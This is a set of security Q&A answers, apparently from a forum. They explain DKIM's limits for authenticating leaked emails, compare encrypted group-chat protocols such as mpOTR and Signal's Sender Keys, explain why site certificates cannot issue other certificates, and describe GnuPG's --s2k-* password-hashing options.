This question was prompted by the following quote in this article about the Stratfor hack: "Some of the emails may be forged or altered to include inaccuracies; some may be authentic. We will not validate either"

DKIM does not provide non-repudiation or confidentiality such as PGP/GPG or S/MIME. It is primarily a means of authentication of the originator of the message (most likely at the domain/company level and not individual), and (to my knowledge) the most practical use is chiefly for spam/phishing prevention.

The scope of the DKIM signature would not necessarily cover the whole message body, but primarily the headers and parts of the body.

"Only plain text messages written in us-ascii, provided that MIME header fields are not signed,[13] enjoy the robustness that end-to-end integrity requires." source

In most typical setups, DKIM is on a per-domain basis, and all users share the same public key for signing messages. The identity of the signer is not necessarily linked to that of the message originator. This means anybody with access to send emails on the domain can generate DKIM signed messages. So for example, if a malware resides on a user's computer and is able to send email from their mailbox, and if the mail is then DKIM-signed at the mail server (which is quite common), the email will have a valid DKIM signature.

When it comes to non-repudiation however, the expectation is in most cases that the actual (human) person is the only one in possession of the private key used to sign the message, and in such cases it can be linked back to this person. Non-repudiation is very tricky because of the so many factors surrounding the 'ownership' of the private key and the ability of the someone to argue that this possession was somehow compromised (that is a little digression however)

Forwarding is another possibility which DKIM doesn't fully protect against (see the same wikipedia entry)

You can read more about limitations and potential misuse of DKIM on the security section, as well as on the FAQ : What does DKIM not do

So to more specifically try to address your questions (even though some clarification might be required, because I'm not entirely sure what you ask very specifically):

Checking that it originated from your domain - with some degree of certainty, yes. DKIM is primarily meant to provide that. There's still a possibility that someone hacked your DNS and injected their own DKIM keys and forged a message of course...
How to communicate this to your user? I'm not sure what is this... Hope that my answer gives you some more clarity about DKIM to be able to answer that by yourself now.
In relation to the article - hard to know what your primary concern might be. If emails are stolen by hacking into a server, then it's more a question of who you trust - the hackers who did this or the people who got hacked? Who has a higher motivation to lie or deceive you about this?? The emails might be legitimate, unaltered version, or they might be altered. In the latter case, it's fair to assume that hackers who got the emails in the first place might be able to forge the signature too. The signing key will likely be stored on the mail server itself, giving the hackers the ability to sign any message they want...


Which protocols exist for end-to-end encrypted group chat? I am looking for existing protocols for a group chat with two things:

End to end encrypted. Just what you would expect: messages are only decipherable by the chat members and message tampering is detected.
It should not encrypt each message for each member individually. The Signal Protocol does this, turning group chats into many one-on-one chats, which is not a proper, scalable solution to the problem. With potentially hundreds of members in a group, even encrypting an encryption key for each member is a considerable downside.

Every new member may receive everyone's public key upon joining, and any group key(s) must be rotated when a member leaves. This scales reasonably enough, and there might not be a way around it without compromising security, so this is allowed and does not count as 'encrypting every message for everyone'.

I've looked for existing protocols, but came up with zero results that meet these requirements. I thought I read about something a few years ago where the group derived a common key and used that or something, but I cannot find anything like that.

Signal, WhatsApp and Allo use the Signal Protocol which violates requirement #2.
Tox has some extensive documentation but somehow I can't seem to find how encryption happens in a group chat.
Another source even claims "you can't make groups with end-to-end" (though I am fairly sure s/he is mistaken).
And finally a bunch of other popular applications such as Mumble and XMPP cannot do end-to-end to begin with, or simply do not support group chats such as Telegram, Ricochet and ZRTP.

Let me try to sum up what the landscape of end-to-end encrypted messaging protocols for group chat looks like:

Protocols like PGP have been around for some time and offer "group messaging" by simply encrypting the content with a randomly generated symmetric key and then encrypting that key asymmetrically with the public keys of each of the recipients. These protocols only sends the encrypted content once but encrypts the encryption key to each of the members of the group. Note that similarly to PGP, this approach does not provide any perfect forward secrecy, deniability or conversation integrity (and thus no transcript consistency).
OTR was introduced to address some of the shortcomings of PGP, improving on perfect forward secrecy, conversation integrity and deniability. Ian Goldberg, the author of OTR also wrote a paper on a multi-party variant of the protocol, named mpOTR. mpOTR was designed with the XMPP transport in mind and inherently synchronous in its design, meaning that each group member is expected to be online at any time to negotiate new keying material. The described protocol does not provide in-session perfect forward secrecy and has not been largely deployed. N+1Sec is a similar protocol with some improvements. Note that these protocols have a lot of algorithmic complexity and tend to scale badly, especially when you add latency into the mix.
Then you have a whole class of protocols, that we simply call N times protocols because they are just sending each message . These protocols have the advantage of reusing an existing one-to-one protocol, which is really convenient when you already have a channel that gives you nice features such as asynchronous perfect forward secrecy. The group structure is not a cryptographic concept in this case, losing on the cryptographic guarantees but lowering algorithmic complexity. The Open Whisper Systems blog has a great post about why Signal does this instead of mpOTR-style messaging. This class of protocols violates your second requirement since they are what we call “client-side fan-out” where the client encrypts and sends out all of the different messages.
There exists an optimisation on Signal's which was adopted by WhatsApp and that you can find in their whitepaper called Sender Keys that has “server-side fan-out”. It uses N times on setup, but after the first message, each member of the group can send a single messages to the group. This protocol has perfect forward secrecy by using a hash ratchet (but does not provide perfect future secrecy). Transcript consistency is enforced by the server-side (because server-side fan-out), but not from a cryptographic perspective.

These are the types of protocols that I've seen being implemented. There are challenges, both in usability and crypto research on how to combine asynchronosity with perfect future secrecy and transcript consistency in the group setting.

If you want a protocol that answers both of your requirements, I think something like the Sender Keys variant of the Signal protocol is what you're looking for.


Can I use my website's SSL certificates to issue new certificates? Suppose I have my own website mydomain.example and I've got a certificate from a CA, e.g. Let's encrypt.
What prevents me from issueing a new certificate for one my friends' website friend.example?

In order for your certificate to be used to sign other certificates, this would have to be specified in the basic constraints field of your certificate.  For any certificate issued by Let's Encrypt, or any other trusted root CA, this is not permitted.  See https://stackoverflow.com/questions/21319841/signing-certificate-with-another-certificate-signed-by-ca/21322032#21322032 for more info.


What is purpose of --s2k-* GnuPG options? When I use gpg --symmetric --s2k- and press tab some options appear:

--s2k-cipher-algo
--s2k-count
--s2k-digest-algo
--s2k-mode

What do those options do?

--s2k-mode sets mode of operation:

0: Simple (hash applied one time to password)
1: Salted (hash applied one time to password+8 byte salt)
3: Iterated and Salted (hash applied chosen number of times to password+8 byte salt)

--s2k-digest-algo sets hash function used for password hashing

--s2k-count sets number of rounds this hash function will be applied

--s2k-cipher-algo chooses cipher for encrypting private key with hashed password

In GnuPG 1.4.12 defaults are (found experimentally):

--s2k-mode = 3
--s2k-digest-algo = SHA1 (supports MD5, RIPEMD-160, SHA2s too)
--s2k-count = 65536 (supports from 1024 to 65011712)
--s2k-cipher-algo = CAST5 (supports 3DES, CAST5, Blofish, AES, Twofish, Camellia too)

You can see how your existing keys are encrypted by typing gpg --list-packets ~/.gnupg/secring.gpg

But all algorithms supported by GnuPG can be efficiently automated at GPUs. So I suggest to use side implementation of bcrypt or scrypt instead of --s2k-* options and then give it's result as passphrase to GnuPG with --s2k-mode set to 0.